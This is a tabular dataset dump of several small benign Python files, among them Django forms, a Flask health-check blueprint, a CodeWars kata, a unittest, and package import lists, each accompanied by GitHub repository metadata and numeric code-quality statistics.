| 28.571429 | 84 | 0.72 | 25 | 200 | 5.44 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17 | 200 | 6 | 85 | 33.333333 | 0.819277 | 0 | 0 | 0 | 0 | 0 | 0.275 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
7e4e3e699974889a2b1424e1d5417f62da79080d | 241 | py | Python | frontend/forms.py | roman-baldaev/test-task-weather | 114048583bc106ad082dcd6efe8d966f76cd476e | [
"MIT"
] | null | null | null | frontend/forms.py | roman-baldaev/test-task-weather | 114048583bc106ad082dcd6efe8d966f76cd476e | [
"MIT"
] | 2 | 2020-02-12T00:15:20.000Z | 2020-06-05T18:02:22.000Z | frontend/forms.py | roman-baldaev/test-task-weather | 114048583bc106ad082dcd6efe8d966f76cd476e | [
"MIT"
] | null | null | null | from django import forms
from .models import *
class CityForm(forms.ModelForm):
class Meta:
model = City
exclude = []
class HistoryForm(forms.ModelForm):
class Meta:
model = History
exclude = [] | 15.0625 | 35 | 0.609959 | 25 | 241 | 5.88 | 0.56 | 0.190476 | 0.258503 | 0.312925 | 0.380952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.307054 | 241 | 16 | 36 | 15.0625 | 0.88024 | 0 | 0 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
7e69259c6a7b6975897a77061ceb08038f8052e0 | 115 | py | Python | find_the_day.py | Pegasus-01/date-and-day-finder | 558d176057dcc5d94fc3356dc9bbebc6918ced26 | [
"Apache-2.0"
] | null | null | null | find_the_day.py | Pegasus-01/date-and-day-finder | 558d176057dcc5d94fc3356dc9bbebc6918ced26 | [
"Apache-2.0"
] | null | null | null | find_the_day.py | Pegasus-01/date-and-day-finder | 558d176057dcc5d94fc3356dc9bbebc6918ced26 | [
"Apache-2.0"
] | null | null | null | import time
print(time.localtime())
localtime = time.asctime(time.localtime(time.time()))
print(localtime) | 16.428571 | 54 | 0.721739 | 14 | 115 | 5.928571 | 0.357143 | 0.216867 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 115 | 7 | 55 | 16.428571 | 0.83 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
7e6d93e75e90bd3bb205503aedaf79e01bc838ee | 177 | py | Python | katas/beta/keep_up_the_hoop.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | katas/beta/keep_up_the_hoop.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | katas/beta/keep_up_the_hoop.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | def hoopCount(n):
""" hoop_count == PEP8 (forced mixedCase by CodeWars) """
return 'Great, now move on to tricks' if n >= 10 else\
'Keep at it until you get it'
| 35.4 | 61 | 0.621469 | 28 | 177 | 3.892857 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022901 | 0.259887 | 177 | 4 | 62 | 44.25 | 0.80916 | 0.276836 | 0 | 0 | 0 | 0 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
7e9d27f4c61df4be274fed9a020b2b4eda0280b2 | 243 | py | Python | tests/test_dataset.py | will-thompson-k/deeplearning-nlp-models | d3afac437b1ddf563c8d2694ada950bf20ab1c34 | [
"MIT"
] | 77 | 2020-11-01T19:22:32.000Z | 2021-12-12T20:41:34.000Z | tests/test_dataset.py | will-thompson-k/deeplearning-nlp-models | d3afac437b1ddf563c8d2694ada950bf20ab1c34 | [
"MIT"
] | 3 | 2020-11-16T02:59:22.000Z | 2020-12-21T23:22:55.000Z | tests/test_dataset.py | will-thompson-k/deeplearning-nlp-models | d3afac437b1ddf563c8d2694ada950bf20ab1c34 | [
"MIT"
] | 6 | 2020-12-10T10:10:34.000Z | 2020-12-21T14:17:49.000Z | import unittest
from nlpmodels.utils.elt import dataset
class TestAbstractDataset(unittest.TestCase):
def test_cannot_instantiate_abstract_class(self):
with self.assertRaises(TypeError):
dataset.AbstractNLPDataset()
| 24.3 | 53 | 0.769547 | 25 | 243 | 7.32 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164609 | 243 | 9 | 54 | 27 | 0.901478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
7ea186563c3fb31b20385f38a43cc082a0697cef | 616 | py | Python | pytorch/unet_2d/__init__.py | mistermoutan/ModelsGenesis | 98af7075b93311fe655e9692773eb1ce015b8bd0 | [
"MIT"
] | null | null | null | pytorch/unet_2d/__init__.py | mistermoutan/ModelsGenesis | 98af7075b93311fe655e9692773eb1ce015b8bd0 | [
"MIT"
] | null | null | null | pytorch/unet_2d/__init__.py | mistermoutan/ModelsGenesis | 98af7075b93311fe655e9692773eb1ce015b8bd0 | [
"MIT"
] | null | null | null | from .unet_model import UNet
from .unet_model_group_norm import UNetGN
from .unet_model_group_norm4 import UNetGN4
from .unet_model_group_norm_no_learn import UNetGNAffine
from .unet_model_group_norm_big import UNetBIGGN
from .unet_model_small import UNetSmall
from .unet_model_group_norm_small import UNetSmallGN
from .... | 51.333333 | 72 | 0.904221 | 83 | 616 | 6.289157 | 0.349398 | 0.183908 | 0.17433 | 0.172414 | 0.168582 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003515 | 0.076299 | 616 | 12 | 72 | 51.333333 | 0.913884 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
7eb121d2bae575edbf034dc0fc7b8a347f98d32f | 9,197 | py | Python | sdk/yapily/models/__init__.py | bs-yapily/yapily-sdk-python | 0bba45e351b674eb655425a51190f539c4e9896f | [
"MIT"
] | null | null | null | sdk/yapily/models/__init__.py | bs-yapily/yapily-sdk-python | 0bba45e351b674eb655425a51190f539c4e9896f | [
"MIT"
] | null | null | null | sdk/yapily/models/__init__.py | bs-yapily/yapily-sdk-python | 0bba45e351b674eb655425a51190f539c4e9896f | [
"MIT"
] | null | null | null | # coding: utf-8
# flake8: noqa
"""
Yapily API
To access endpoints that require authentication, use your application key and secret created in the Dashboard (https://dashboard.yapily.com) # noqa: E501
OpenAPI spec version: 0.0.155
Generated by: https://github.com/swagger-api/swagger-codegen.git
... | 63.427586 | 158 | 0.905186 | 1,093 | 9,197 | 7.359561 | 0.235133 | 0.157882 | 0.252611 | 0.051964 | 0.231726 | 0.182745 | 0.11089 | 0.018647 | 0 | 0 | 0 | 0.004876 | 0.06339 | 9,197 | 144 | 159 | 63.868056 | 0.928953 | 0.035229 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
0e19558500b4736f06b66a48c43be887cdf4fbb3 | 188 | py | Python | tests/testapp/app/handlers/v1/__init__.py | gtmanfred/teststack | c7f671b45b81a036abcb21df6f1ef26c8a138e93 | [
"Apache-2.0"
] | 1 | 2021-11-09T18:44:40.000Z | 2021-11-09T18:44:40.000Z | tests/testapp/app/handlers/v1/__init__.py | gtmanfred/teststack | c7f671b45b81a036abcb21df6f1ef26c8a138e93 | [
"Apache-2.0"
] | 2 | 2021-11-11T17:43:42.000Z | 2022-03-08T19:26:31.000Z | tests/testapp/app/handlers/v1/__init__.py | gtmanfred/teststack | c7f671b45b81a036abcb21df6f1ef26c8a138e93 | [
"Apache-2.0"
] | null | null | null | from flask import Blueprint
from . import health
blueprint = Blueprint('v1', __name__, url_prefix='/api/v1')
blueprint.add_url_rule('/health', view_func=health.Health.as_view('health'))
| 26.857143 | 76 | 0.765957 | 27 | 188 | 5 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011696 | 0.090426 | 188 | 6 | 77 | 31.333333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0.117021 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0.75 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 4 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.